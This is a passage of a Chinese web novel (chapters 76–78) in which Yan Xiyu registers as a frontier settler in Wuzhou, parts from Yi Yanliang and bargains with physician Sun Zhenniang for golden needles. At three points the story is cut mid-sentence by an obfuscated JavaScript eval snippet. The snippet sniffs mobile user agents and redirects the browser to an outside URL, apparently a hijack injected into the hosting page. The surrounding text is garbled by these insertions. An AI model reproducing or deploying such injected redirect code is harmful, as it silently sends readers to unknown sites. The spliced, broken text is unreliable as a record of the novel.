燕惜妤点头又摇头:“我们虽是一道来的乌州,但我同他们不是一起的。” 在未遇见桑大娘之前,燕惜妤本来是想着同罗采春落户在一起,但自从遇到桑大娘后,在得知燕氏是前朝皇族姓氏那时起,她就打消了这个念头。 虽然她不是前朝皇族后裔,但她到底姓燕,怕连累身边的人,所以燕惜妤决定自己一人立女户。 文书于是又看向罗采春,罗采春在听见燕惜妤的声音之后,总算是镇定了下来。 她在心里默念燕惜妤曾对她说的话,燕惜妤说她虽然从仓州教坊司逃了出来,邻近的州县也确实贴有她的通缉令,但仓州衙门的官员应该想不到她会逃到乌州来,因为独自一人,尤其是女子,是很难走到这最边远的州县的,所以仓州衙门的衙差只会在附近州县较为偏僻的小村子里找人。 为了掩人耳目,燕惜妤还让她带着阿转同玉彩一起落户,与佟瑰方带着佟槿方和阿谦是同样的道理。 佟家姐弟是俩人逃跑,而在乌州落户的是一位长姐带着俩个弟弟。 而罗采春是一个人逃跑,但她在乌州这边是带着阿弟阿妹一起的,这就和通缉令上的信息对不上,从而能有效地避开衙差的追捕。 心里想着燕惜妤说的话,罗采春也终于敢同文书说话了。 文书估计是见惯了这些一遇见衙门官差就害怕的老百姓,倒也没怎么生气,很顺利地就为罗采春办好了户籍。 最后只剩燕惜妤自己。 她这次倒是主动,把之前在窉州马县县衙办好的户籍和路引递了上去:“大人请看。” 文书漫不经心地接过一看,脸上的表情瞬间变了。 他坐直了身子,先是再次确认手中户籍上的字,然后抬头看眼前的女子,又去看立在一旁的宣家妇人。 文书的视线在她们俩人身上移来移去,清楚其中情况的人立即跟着紧张起来,不清楚的人反而是一脸的茫然。 “姑娘姓燕?”文书终于开口说话,第一句问的就是姓氏。 “是,”燕惜妤点头,“我姓燕。” “只你一人来乌州?”文书又问。 “是,”燕惜妤继续点头,“只我一人来乌州。” “那……”看文书表情像是还想再问些什么,但他却没有再问,而是低头边写字边说,“你同他们一道过来,那就同住一个屯里吧。” 燕惜妤弓身道:“都听大人的。” 文书给他们办好落户之事,看着他们离开,然后一转身拎着户籍册就跑了出去。 “大人大人不好了!”他气喘吁吁地跑向知县大人的书房。 泰州知县是个身材圆滚的中年男子,他把手中的扇子掷向文书,怒道:“大人我好的很!” “不是不是啊我的刘大人!”文书忙将手中的户籍册恭敬地递了过去,“方才有一姓燕的……” “什么?!!”刘知县一听“姓燕的”三个字瞬间就从高背椅上蹦了起来,“他来咱泰县了?冯索那老匹夫竟然敢瞒着我?!!” “不是啊大人,不是皇都的那位姓燕的,是另一位姓燕的姑娘,”文书连忙解释,“那姓燕的姑娘要落户在边地,您也知道边地虽然归羿家管,但除了将士外,其他百姓还是咱泰县衙门管理的。” “什么?!还有一位姓燕的?!!”刘知县惊得脸上的肉都在抖,“我就说边地咱不能要,直接送给冯索那老匹夫留他化县接手,偏生你们说要同羿家交好,让我无论如何也不能把边地拱手送人,这下好了吧!!” “大人莫急,”刘知县慌了,文书反倒镇定了,“大人莫非忘了咱泰县边地有羿家在。” “哦对!”刘知县瞬间瘫坐在椅子上,边喘气边说,“即如此,这事咱就不管了。” 文书一噎:“大人,咱多少还是该管管的。” 刘知县立即瞪他:“你叫大人我如何管?既来的是位姑娘,自有那羿家妇人去接待。” 羿家男子守在边地兵营,而家中女眷却是住在城里的将军府,只要羿府中有女眷在,生活在城中的百姓才能安心。 他们生怕若是有一天夷狄蛮族围城攻打,羿家军会为了保存兵力而不来救他们,但羿家女眷若在城中,羿家众将士必定会拼死救城。 “大人有所不知,”文书极神秘极小声地说,“那位燕姑娘是同一位桑姓妇人一同来咱乌州的。” “桑?!桑氏也现身了?!!”刘知县又是一惊,“咱泰县难不成有宝矿?!” 他这声惊飞了窗棱外的麻雀,几只麻雀扑腾着翅膀从巷口上方飞过。 盛樗容饶有兴趣地抬头看看:“七哥,我似能听见那刘知县的惊呼声。” 刘知县是工部刘尚书的长子,为人胆小怕事且好逸恶劳,其父刘尚书实有是恨他朽木难雕,一气之下竟求了皇上把他给遣来了这既危险又荒野的乌州当知县。 知情人都以为刘知县会一哭二闹三上吊地求着要回皇城,谁承想他竟在这鸟不生蛋的乌州一待就是五年。 “你莫要小看了刘知县,”羿衍椋瞥了盛樗容一眼,“他这人最是会随遇而安,常人未必能有他那份心性。” “这倒也是,”盛樗容点点头,“他若能在乌州多待几年,说不定日后将会当上知州。” 知州,一州之长,多少在皇城当着小官的官员都想去地方当知州,一州里知州最大,大承一共才几个州,能执掌一州之地,权力不可谓不大。 “他比化县那冯大人好商议些吧?”盛樗容又问,不过他见羿衍椋望向巷口的样子,忍不住问,“七哥,先前咱们同燕姑娘他们经过这泰县时,你为什么不提醒他们一句?” 当时若是能提一句,燕惜妤他们也不必来回跑。 羿衍椋像是没听见他这句话,继续沉默地站着。 其实羿衍椋之所以不提,只是想陪燕惜妤多走几段路。 他当时若是提醒了燕惜妤,燕惜妤肯定就会进城,而他自然也会跟着进城,可他若是进了城,那必然是要带着盛樗容回羿府的。 他若是回了府,日后又怎能随意地见到燕惜妤。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859241|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咦,他们过来了,”盛樗容站在羿衍椋身旁伸着脖子看见了燕惜妤一行人,“燕姑娘!” “欸?”燕惜妤朝这边快走了几步,“你们还在这等我们?” “怕你们需要帮助,”羿衍椋看着她说,“户籍可都办妥当了?” “全都办好了!”燕惜妤笑着说,“我们以后就是乌州的老百姓了。” “如此甚好,”羿衍椋也跟着露出一个微笑,然后伸手入怀像是要取出什么来交给燕惜妤。 燕惜妤顿时盯着他。 羿衍椋慢条斯理地从怀中取出了一枚铜令牌递了过来:“这是我的信物,你日后若是遇上难事,可带着此令牌去城门口的富贵茶楼,茶楼里的店伙计都认得此令牌,他们会将你的话传递于我知晓。” 燕惜妤抿着嘴唇看向他,他只微垂着眼看过来,伸出的手心里有着一枚令牌。 “多谢阿七,”燕惜妤伸手从他手心里拿过令牌,很郑重地说,“我一定会收好令牌的。” “那就一直收好它,”羿衍椋是希望她能一直不用这令牌的,这令牌若出现在茶楼,那就说明她遇到了难事,他希望她一直安好。 “那我们该去边地了,”燕惜妤面对他站着,心里有点不舍,但她不能在城中停留太久,她姓燕,她不希望被衙门的人误会阿七是她有关系。 “我再同你们走到城门口,”羿衍椋说,“边地荒凉,虽然不缺食,但是缺衣,我同你说说该买哪些带过去。” 燕惜妤本来想拒绝,听他这样讲,只能点头说:“好。” 羿衍椋同他们慢慢走着,给他们讲了些在边地需要注意的事项。 在一间卖布匹的铺门前,燕惜妤让仲三带着罗采春进去买布。 她身上所有的银钱早就交给了罗采春,她时常断气,怕有一天真断了气,所以先把银钱给了出去。 羿衍椋好奇她为何让仲三陪着罗姑娘进去,燕惜妤对他神秘一笑:“你去门口听听仲三说的话就知道了。” 不只羿衍椋过去听了,就连盛樗容也好奇地跟了过去,结果他越听眼睛瞪的越大。 “七哥,他这是……”盛樗容低声道,“燕姑娘身边的仲三和仲五……” 后面的话他没说出来,但羿衍椋知道他话里的意思。 仲五能千里寻迹,适合当斥候。而仲三能说各州话语,适合当探子。他俩若能和羿家的暗桩一起共事…… 盛樗容忍不住又说:“七哥你看……” 羿衍椋脸上没什么多余的表情:“燕姑娘尚未能在边地站稳脚跟,待日后再说。” 他们正小声嘀咕着,身后忽然传来惊讶的声音:“少……” 一个“少”字才刚听见,羿衍椋倏地转过身盯着说话的来人。 对方是将军府的守兵,正张着嘴想喊“少将军”,但被羿衍椋这么盯着,极有眼力地改口:“公子,您可算是平安回来了!” 羿衍椋悬着的心这才落了下来,方才那一刹那,他是真的怕被燕惜妤知道他是羿家少将军。 他这一路骗着她,若要坦白,自然该是他亲自去同她说清楚。 燕惜妤这时也正在看着他,她知道,阿七只能陪她走到这里了。 77. 第77章 “燕姑娘,我……”羿衍椋想说他该回家去看看,但他心里却非常不舍眼前的女子。 “你家人都寻来了,你快回家去吧,”燕惜妤对他挥挥手,“你我日后都在乌州,很近的。” 泰县离边地才几天路程,她都能从仓州走到这乌州了,难道还会怕再多走这几天。 羿衍椋知道她话里的意思,释然地笑了笑。 “燕姑娘,还有各位,珍重,”羿衍椋对着他们抱了抱拳,然后转身就走。 仿佛走慢一步,就舍不得离开了。 盛樗容跟着也抱了抱拳,然后也走了。 他们一走,原本属于他俩的马也慢悠悠地跟在后头。 倒是将军府的那位守兵,反而多看了他们几眼,这才快步跟了上去。 罗采春和仲三抱着几匹粗布出来时,正好能看见他们离去的背影。 “阿七和阿盛他们离开了?”罗采春边问边把手里的布匹放进板车里,佟瑰方在一旁帮忙。 “他家人找来了,”燕惜妤收回视线,然后伸手拍了拍陆家商队曾管事留给他们的马车,“这马和马车也该还给陆家商队了。” 佟瑰方于是让桑大娘去坐那架空着的板车,还把几个小孩也都抱了进去。 桑大娘比之前好多了,但阿谦的双腿却未能痊愈,这一路不停地颠簸着,哪怕他躺在板车上不用走路,也无法好好休养。 仲茂说:“我同老三去还。”落了户籍,他们以后就要居住在这里了,他是男子,总不能事事都依赖着燕姑娘。 燕惜妤当然同意,他们这些人,总需要有个除她之外能管事的人。 陆家商行很好找,一问就知。 还了马车,他们就开始赶往边地。 之前阿七带他们走过一次,再重走回来就轻车熟路了。 边地确实很荒凉,除了两处兵营驻地人多些,在屯里并没有看见什么人影。 “屯里住着的百姓呢?”仲茂忍不住问在前头给他们带路的屯长。 屯长是个高壮的大汉,姓梁。 梁屯长看着虽然凶神恶煞,但说话并不粗莽:“咱这屯里都是住着些同你们一样逃荒过来的灾民,家里汉子这会儿跟着流放的犯人一起在田里劳作,妇人大多在山脚下拾柴火摘野菜,咱这边地大山多,虽然是荒凉了些,但若人能勤快,靠着大山倒是饿不着。” 仲茂边听边点头。 梁屯长瞧瞧他,又瞧瞧仲二几人,叮嘱道:“大山里虽多野物,但极其危险,你们万不可进深山,若非要去,可去羿家军营里先练武,再跟着羿家将士进山。” 仲茂立即追问:“能跟他们进山?会不会碍了将士们的正事?” “那倒不会,”梁屯长摆摆手,“羿家军会时不时地进山巡逻,附近的猎户一般是跟着他们进山的,你们可要好好跟着羿家将士练武,在咱这边地,若是能杀死偷袭过来的夷狄人,朝廷是会有赏赐的。” 他们说他们的,燕惜妤在一旁有些出神。 梁屯长的话令她想起了阿七。 阿七说过他是猎户,又还教给仲茂他们几人刀法,现在再听梁屯长这么一说,难道阿七真是猎户? 但他确实不像啊。 正想着,梁屯长停下了脚步,指着前面的一排排土坯墙壁,茅草屋顶的屋子说:“这些是空着的屋子,你们一户人可选一间。” 那些土坯房建的很简单,正中间一道大门,左右两边土墙上方有两个木板窗。 外面围有半人高的前后院的土墙,装有栏栅木院门。 除此之外,是啥也没有了。 见大家家出声,梁屯长憨笑着说:“是简陋了些,但你们住久了,家当自然也会添置一二。” 他这点倒是实话,从屯口一路走来,前面被选走的那些屋子,前后院子都多了不少东西。 有家禽棚,也有柴草棚,门前有大瓦缸,屋后停有板车,还有好几家都种了果树。 “挺好的,”桑大娘这时说,“有这屋子已是我们好运道了。” 燕惜妤点头,来了就有房住,不用自己花钱盖,那确实很幸运。 “如此你们就住在这一排吧,”梁屯长指了指面前一排的空房子。 燕惜妤仔细看了看,发现每排房子一共是七间,先来的百姓住前面,后来的百姓接着后面空着的房子入住。 “梁屯长,我能选最后面的第一间吗?”燕惜妤伸手指了指后面那几排空着的房屋,“他们住这边,我自己住那边。” “倒是可以,”梁屯长皱着眉说,“但你们住在一起,若是遇上什么事也好互相有个照应,而且最后面的房子靠近山脚,虽然离山脚还很远,但你一个姑娘家住着,半夜要是从山中蹿出来什么野兽,你该如何是好?” “屯长说的是,”燕惜妤很认同地点头,然后又露出为难的表情,“我原是想在这边养牧为生,但手头不宽裕,就想着先在自个家中院子养上几头羊,要是同大家住在一起,怕是会遭旁人嫌弃。” 梁屯长顿时也露出了为难的表情。 兵营和那些军户住的屯里倒是有养马匹的,确实是有味道。 他又看看拉着板车的那两匹马,最后说:“你一人当真敢住?” “屯长,我俩同她住在最后面,”仲茂忽然拉了一把仲四说,“其他人按屯长说的就住在这边。” 他边说边看向燕惜妤,燕惜妤点点头。 她一个人住在最后面确实显眼了些,有仲茂他们俩跟着,倒是能帮她掩饰一下。 “那好,你们选一下房子,我给你们记上名字,”梁屯长带他们走进院子里,把屋门打开让他们进来看看。 屋子不大,从屋门进来,左边是灶头连着火墙,正中是堂屋,一铺土炕占了大半的位置,只留下能过两人的廊道,右边有道门,进去一看,屋内很小,同样是一铺土炕占了大半屋子。 想来这小屋子应该是给那些流放犯人中的女眷居住的。 但现在犯罪都是一大家族一起受罚,这小小的屋子估计挤不下那么多人,不过对于燕惜妤他们这些人来说,已经足够了。 房子大小都一样,看过一间,其它的也就不用再看了,都是一样的简陋,除了土炕之外再无任何家具。 选房子很快,是按着之前居住的顺序来入住的,这排第一间已经有人住了,剩下六间屋子,刚好够他们住。 仲二住第二间,仲五住第三间,罗采春带着阿转和玉彩住第四间,佟家姐弟带着阿谦住第五间,桑大娘和小满儿住第六间,仲三住第七间。 他们几个男子,把女子和娃娃还有老人保护在中间。 然后燕惜妤和仲茂还有仲四选了最后一排房子的前三间。 他们三人和仲二他们中间隔了足有十三排没人居住的房子,不过也不远,小满儿自己跑来跑去的,咻一下就窜没了影。 梁屯长记好了名字,然后就走了。他只负责给过来的百姓分房子,可不负责这些人的衣食。 没银钱就穿破衣,没吃的就去荒地里摘野菜,去河里抓鱼虾,总归饿不死。 再说刚落户到乌州边地的百姓要是开垦了荒地,头三年都无需交赋税,只要他们能勤快些,多开垦几亩地,头一年好好侍弄田地,把开垦的荒地养成良田,后两年定能庄稼丰收,日后也就能在边地不愁衣食了。 梁屯长一走,几人立即就又聚在了燕惜妤刚分到的屋子里。 堂屋的土炕上连床炕席都有,他们也就坐在黄土坯的炕上,互相看看,一时之间竟有些默言。 “……我们这就落户在边地了?”仲二愣愣地开口。 “大家一道走来,太难了,”罗采春也喃喃开口,“我……从没敢奢望我们真能走到这边地来。” 她一个从教坊司逃出来的人,实在是无处可安身,这才会跟着燕惜妤来边地。 边地太远,路上又凶恶,她原本是想着死在半途的,但谁能想到燕惜妤硬是把他们这些人整整齐齐地带到了这里。 “我们该想想日后,”燕惜妤盘腿坐在罗采春身边,“虽然我们各自分了屋子,但这人生地不熟的,我们得注意些。” “老身我这把老骨是折腾不动喽,”桑大娘摸摸小满儿跑的一脸汗的额头,“燕姑娘如何说,我便如何做,总归燕姑娘不会害我们。” 仲茂他们也纷纷点头。 他们这些人如果不是有燕惜妤护着,谁都走不到这边地来,命都是她救的,自然会按她说的去做。 燕惜妤说:“那我们先商量一下吃住的问题。” 他们这些人之中,她身上的银钱交给了罗采春,佟瑰方俩姐弟也有银两,剩下的人全部加起来都掏不出一个铜板,所以他们只能继续和之前一起吃饭。 还有就是住的问题,虽然都有了屋子,但屋子里空荡荡的,是啥也没有,如果全部给添置上家当,那得花不少银子,但眼下他们就是没银子。 于是大家商量了一下,在罗采春家里吃饭,所以要先给罗采春搭个放柴火的棚子,板车上的那些锅碗瓢盆也都放在她家灶房。 佟瑰方和桑大娘平时帮着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870082|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗采春一起烧饭,其余人则负责给罗采春家里送去烧火用的柴火。 另外就是住的问题,还是因为身上没银子,所以桑大娘带着小满儿,还有佟瑰方带着三个小孩都和罗采春住在一起,大的睡堂屋的炕,小的睡里屋的炕。 而仲二仲五还有佟槿方则住在仲三家里,仲三家旁边就是罗采春家,这样互相能有个照应。 至于燕惜妤和仲茂还有仲四的那三间屋子也暂时不住,燕惜妤和罗采春她们住一起,那占了堂屋大半地方的土炕完全可以睡下她们四个女人。 而仲茂和仲四他们住仲三家里,他们五人和佟槿方睡两铺炕也足够了。 吃住解决了,剩下的就是想办法赚钱。 佟瑰方姐弟懂医术,但他们初来乍到,没谁敢信他们,而且对于穷苦的老百姓有些小病小痛基本就是忍着熬过去的。 剩下的人,除了仲茂还会养马,也就只剩下会种地了。 但种地却是最来钱慢的活计,而且还要老天赏脸才行。 不过最让燕惜妤想不到的,是仲四竟然是屠夫。 “你是屠夫?”燕惜妤问仲四,“你以前也没说过。” 仲四讲话不利索,只能看向仲茂。 仲茂帮他解释了几句,原来仲四是因为嘴巴不利索常被人笑话,所以只能埋头干活。刚好有位老屠夫看他憨厚老实,于是收他当了徒弟,教他杀猪宰羊,还带着他一起解牛割肉。 可惜后来那老屠夫也是因为一头耕牛被恶人陷害从而赔了一大笔银子,最后只得无奈回乡下种田。 燕惜妤这才明白仲茂为什么要拉着仲四和她一起住,原来是打算让仲四当屠夫。 她如果真能去荒漠套到野羊野牛,那确实是可以考虑摆摊子卖牛羊肉。 她看着仲茂的眼睛中有着夸赞:“仲茂这回做的很好。” 仲茂挠了挠头,嘻嘻笑道:“姑娘说要养羊,我就想着羊养大了总是要卖的,咱或许可以去镇上卖羊肉。” “这个想法不错,”燕惜妤点点头,然后看着大家说,“你们去拾掇一下板车里的东西,我和佟姑娘还有佟兄弟再说两句话。” 等其他人离开后,燕惜妤看着有点坐立不安的佟槿方说:“佟兄弟,你说我要是进深山,又或者去荒漠那边,你敢不敢跟着去?” 佟槿方把头摇得像拨浪鼓:“不敢!我当然是不敢!”他这小身板别说去荒野和深山了,就连爬树他都爬不上去。 “那佟姑娘跟我去?”燕惜妤又看向佟瑰方。 “还是我随你去吧,”佟槿方不等佟瑰方开口,他抢先道,“我阿姐一个弱女子,她受不得那些苦。” “我只是问问,你先别急,”燕惜妤看着他,“你手上又没有金针,带着你出去,到时你也未必能把我带回来。” 说到这里,燕惜妤忽然就想到了阿七。 她上鬼山寨剿匪的时候,是阿七把她带下山的。后来又是他为了锻炼仲茂他们几人,故意引来歹人给仲茂他们练手,然后他就背着她逃跑。 要是阿七在,无论她是进深山还是闯荒漠,阿七都会把她带回来。 燕惜妤沉思的表情让佟槿方不敢随意出声,他几次张嘴想说话,却又没说出来。 “你想说什么?”燕惜妤忽然看向他,“你说。” 佟槿方想了又想,最后一咬牙说:“你要是在深山晕厥时遇见猛兽,又或者在荒漠晕厥撞见夷狄人,那时谁跟在你身边都得陪你一起死!” “这样啊,”燕惜妤叹气,假装伤心道,“那我只能和羿家巡山的将士一起进山,到时我要是出了事,羿家的将士应当会把我的尸首带回来。” 佟槿方的呼吸猛地顿了一霎,他哭丧着脸说:“你就不能再等等?我同阿姐去行医,赚得的诊金都给你,你再等等吧!” 燕惜妤怕真把他给惹哭了,连忙点头:“那好吧,我再等等。” 佟槿方这才忧心忡忡地跟着佟瑰方离开。 燕惜妤独自在空荡荡的屋里坐了一会儿,这才出门走向罗采春的房子。 罗采春的屋子在这排的第四家,最前头的那家已经住了人。 先前几次经过这户人家院子,当时这家里没人,不过燕惜妤这回在走过这户人家的院子时,听见了一道有点熟悉的声音。 “师父,我在山脚溪流边看见了地苔草,这药草晒干后研磨成粉,是不是能止血?” 燕惜妤脚步一顿,转头看向了说话的人。 隔着那半人高的土院墙,燕惜妤瞬间和对方来了个四目相对! 78. 第78章 燕惜妤这边还没有反应,对方倒是先发出了一声短促的尖叫。 只是极短促的一声,就立即被对方自己用手死死捂住了嘴巴。 这人显然是没想到竟然能在边地碰见曾经认识的人。 看着对方那瞬间变惨白的脸,燕惜妤反而是笑眯眯的样子:“小徒,可真是巧啊,没想到你也来了这乌州边地?你师父呢?” 小徒还是紧紧捂着她自己的嘴巴,然后一个劲儿地摇头。 可惜她刚才那一声尖叫已经惊动了屋里的人,这时屋门打开,从屋里走出了一个身穿僧衣头戴僧帽的女子。 “小徒,你怎的了?”孙珍娘出来先是看向小徒,见她那似被吓到的模样,这才转头看向来人,“这位姑娘是?” “孙女医,我姓燕,叫燕惜妤,”燕惜妤这时正盯着孙珍娘的脸,脸上表情还算平静,但眼神却渐渐变了,她又看向小徒,问出了令小徒心惊胆战的话,“这是你那师父?” 小徒立即做出了要和人拼命的表情,她瞪圆着眼睛道:“是!她就是我的师父!!” “这样啊,”燕惜妤垂了垂眸,然后向孙珍娘,“孙女医,请借一步说话,你这小徒挺胆小的,就别让她在一旁听了。” 孙珍娘看向自家徒弟:“小徒,你先进屋,我同这位燕姑娘说几句话。” “可是师父……”小徒看看自家师父,又看看眼前自称燕惜妤的人,这人分明就是教坊司里那名唤卉童的女乐。 “进去,”孙珍娘又说了一声。 小徒这才不情不愿地挪着脚步走进屋里,身后又传来她师父的声音:“把门关了。” 小徒垂着头走去关门,在门掩上的那瞬间,她整个人倏地贴在了门板上,使劲儿往门板上压着左耳想偷听外头的说话声。 孙珍娘看门关上了,这才对着燕惜妤一抬手:“燕姑娘请这边坐。” 她在院子里搭了茅草凉棚,估计是为了避嫌。 附近若是有汉子过来寻她看病,她一个女子也不好将人请进屋里,只能在院子外头光明正大地给来看病的人诊脉。 凉棚里有小方桌,两边是长条木凳。 燕惜妤坐下后,将手放在桌上,看着眼前的孙珍娘说:“孙女医,能否为我诊脉?” “自是可以,”孙珍娘一挽僧衣,三指搭在了燕惜妤的手腕上,原是面无表情的她,这会儿去缓缓拧紧了眉,“燕姑娘,你体内有毒素。” 燕惜妤立即露出不解的样子:“孙女医莫不是忘了,我体内的毒是吃了你给的药丸所致。” 孙珍娘搭在燕惜妤手腕上的三指微微颤了一下。 燕惜妤忽然又露出恍然的样子:“诶呀,你瞧我这记性,当初给我那毒丸的女医虽然和孙女医长得一模一样,但……” 燕惜妤故意停顿了一下,孙珍娘猛地收回了诊脉的手,眼神森冷地看了过来。 “你那小徒实在是胆子太小,有很多事她都不敢同你说吧,”燕惜妤慢条斯理地收回手,“孙女医难不成没问她一声?” “我不知道燕姑娘在说些什么,”孙珍娘冷冷开口,“这世上哪里会有长得一模一样的人,姑娘怕是看花了眼,许是那人只是和我长得有几分相似罢了。” “孙女医,我既然能看出你不是她,手里自然也是有证据的,”燕惜妤看着孙珍娘,不紧不慢地说,“孙女医若是不信,不妨试一试。” 当初她就是利用此证据,算计了教坊司里的那个孙女医,帮念鸯正大光明地离开了吃人的教坊司。 孙珍娘没说话,只是紧盯着燕惜妤。 “孙女医,教坊司里那位崔掌事还好吗?”燕惜妤意有所指地说,“想来崔掌事怕是不好罢,否则孙女医你就不会带着徒弟来到这乌州边地了。” 孙珍娘这时总算是变了脸色。 她那双生的姐妹若不是下药杀人后逃走,她因怕被牵连,也只能带着小徒来到这荒凉的地方。 可这事本该只有她和自家徒儿知晓,为何眼前这女子却也知? “你想要什么?”孙珍娘盯着燕惜妤,“犯法的事我不做。”她那双生的姐妹就是因为杀人犯法这才逃了,还连累她和自家徒儿也要逃。 “只要孙女医能帮我治病,这事我从此就会忘了,”燕惜妤又把手伸了出来,对着孙珍娘抬了抬下巴,“孙女医请吧。” 孙珍娘沉思片刻,又将三指搭上了燕惜妤的手腕:“你只是中毒,这毒易解,你……” 她忽然闭上了嘴,表情有些郑重,拧着眉诊脉,且越诊脉脸色越发沉凝,最后有些迟疑地看着燕惜妤:“你身上可有别的不适?” “有,”燕惜妤点头,也不隐瞒她,“之前是时不时断气,后来佟家那边的郎中帮我在头上扎了回银针,我就从断气变成了晕厥。” 孙珍娘听见她提到佟家时,脸色缓和了下来,她收回诊脉的手说:“你若不说佟家,我也不敢说你患了离魂症。” 燕惜妤也缩回手:“孙女医认识佟家人?” “我并不认识,只曾听我师父提起,”孙珍娘叹了口气,“我师祖曾在庵堂里见到进庵堂躲雨的佟家人,那时我师父也还年少,师祖和佟家人辩说医术,佟家曾说过这离魂症,只不过……” 燕惜妤了然地点头:“你只是听说,并没见过这离魂症?” “是,所以我无法帮你,”孙珍娘叹息道,“哪怕你拿我的事威胁于我,我也无能为力。” “我身边有人能治这离魂症,但他还缺一副金针,孙女医只需借我金针一用,”燕姑娘认真地看着孙珍娘,“日后事关崔掌事我就再也不提。” 孙珍娘却是在意另外一件事:“姑娘认识佟家人?” “我不知道他们是不是佟家人,我只知道他们会佟家医术,”燕惜妤没直接把佟家姐弟的身份说出来。 孙珍娘想了想才说:“我需先见一见能帮姑娘施针的人。” “可以,你稍等,”燕惜妤起身走到院子外,朝旁边喊了声,“小满儿。” 小满儿嗖一下就跑出了罗采春家的院子,然后左右歪头瞧来瞧去。 一看见燕惜妤立即就跑了过来:“燕姐姐。” “嗳,瞧你这头汗,”燕惜妤拿出巾子帮她擦了擦额头上的汗,然后低声在她耳边说了几句话,小满儿转身一溜烟儿又跑了回去。 没一会儿,佟瑰方带着佟槿方就走了过来。 他们不认识孙珍娘,孙珍娘也没见过他们,但他们三人都懂医术。 孙珍娘请他们姐弟进屋坐,于是小徒又从屋里被赶了出来。 燕惜妤站在院子里眯着眼睛看她:“小徒,你师父有给你起名字吗?” “当然有!”小徒立即说,“我随我师父姓孙,我名唤孙素。” “我现在叫燕惜妤,”燕惜妤又给她讲了一遍自己的名字,“教坊司里的我早已经吊死了,当时你是亲眼看见的。” “你是怕我喊你当女乐时的名字吧,”孙素撇了撇嘴,“你怎的会叫燕惜妤这个名字?” “自然是有人给我起的,”燕惜妤说,“就像你师父给你起名字一样,我的名字也是别人给我起的。” 孙素上下打量了燕惜妤几眼,又四周看了看,这才凑近低声说:“是救你出教坊司的人给你起的吧?” 燕惜妤笑眯眯地看着她:“以前你那师父哪去了?” 孙素立即又用手捂紧了嘴巴。 “只要你不提我过去之事,我也就不提,”燕惜妤对她说,“你答不答应?” 孙素捂着嘴巴点点头。 “那就好,”燕惜妤也四周看了看,“这里是离仓州最远的边地,没人认识你,也没人认识我,有些事只要你不说就没人会知道。” 孙素又点了点头,然后转着眼珠子再次开口:“我也不怕,因为崔掌事死了。” “崔掌事死了?”燕惜妤露出惊讶的表情,“是不是他得罪太多人,被仇家找上门报复杀了他?” 孙素又转了转眼珠子,用力地点头:“他就是被仇家杀死的。” “那就和你,也和我无关,”燕惜妤意有所指地说,“我们这些手无缚鸡之力的弱女子,最怕那些打打杀杀的事了。” “对对对,你说得对!”孙素用力地点头,“我们都是弱女子。” 燕惜妤笑看着她。 孙素一直紧绷着的情绪总算是松弛了下来:“我们说好的,你可别忘了!” “我的过去早就被我忘的一干二净,”燕惜妤说,“你别再提起,你每提一次,我就觉得我还吊在房梁上悬挂着。” 刚放松下来的孙素立即又紧张了起来。 她怎么就给忘了呢,这人当初可是死了又活,活了又死啊! 这时屋门打开,孙珍娘带着佟瑰方姐弟走了出来。 燕惜妤看了眼佟瑰方,佟瑰方对她微不可察地点了点头。 燕惜妤瞬间松了口气。 “明日我会带着金针过去找你,”孙珍娘看向燕惜妤,“佟姑娘和佟小郎会用金针为你针灸。” “多谢孙女医,”燕惜妤对她点头致谢,这才带着佟瑰方他们离开。 孙素跟着她师父送客,等人一走,她立即就关上了那木栏栅院子门,然后紧张兮兮地看着她师父:“师父,那……燕姑娘,我先前见过她曾断了气,但她又活了!” 相比于她紧绷着的表情,孙珍娘倒是很淡定:“她那是患了离魂症。” “离魂症?”孙素一怔,“那她不是鬼上身了?” “叫你看医书你不看,整日只会看些闲书杂说,”孙珍娘摇了摇头,“人死怎能复生,她那是病症,你呀,惯会自己吓自己。” 她这徒儿太胆小,但好在精灵聪慧,日后用心教导总能成良材。 “哦,原来她那是生病了啊,”孙素一脸的恍然,“她方才故意吓我!” 孙素板着脸往旁边看去,她要记住那姓燕的家,日后避着此人走。 燕惜妤走进罗采春刚拾掇好的屋子,板车停在了仲五那边,罗采春这边院子里堆了些刚砍的柴火,灶洞太大,原先的锅太小根本装不上,只得暂时先在院子里用石头垒了个灶头出来。 屋里炕头上坐着桑大娘,她正在用刚买的粗布缝着被褥,草编的炕席卷着放在一旁。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14881426|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我们有炕席?”燕惜妤记得他们的行囊里没有这东西。 “是仲三和屯里的邻里们赊来的,这草编炕席在这屯里家家户户都备有多的,”桑大娘缝被褥的手没停,眼睛仍盯着手里的针线,“过两日我们还回去,不要给铜板,给别的。” “不要铜板?那给肉可以吧?”燕惜妤伸手捏了捏那卷着的草编炕席,挺厚的,铺在炕上比直接睡土炕会好些,起码没那么硌得慌。 “你要去城里买肉?”桑大娘随意问了句。 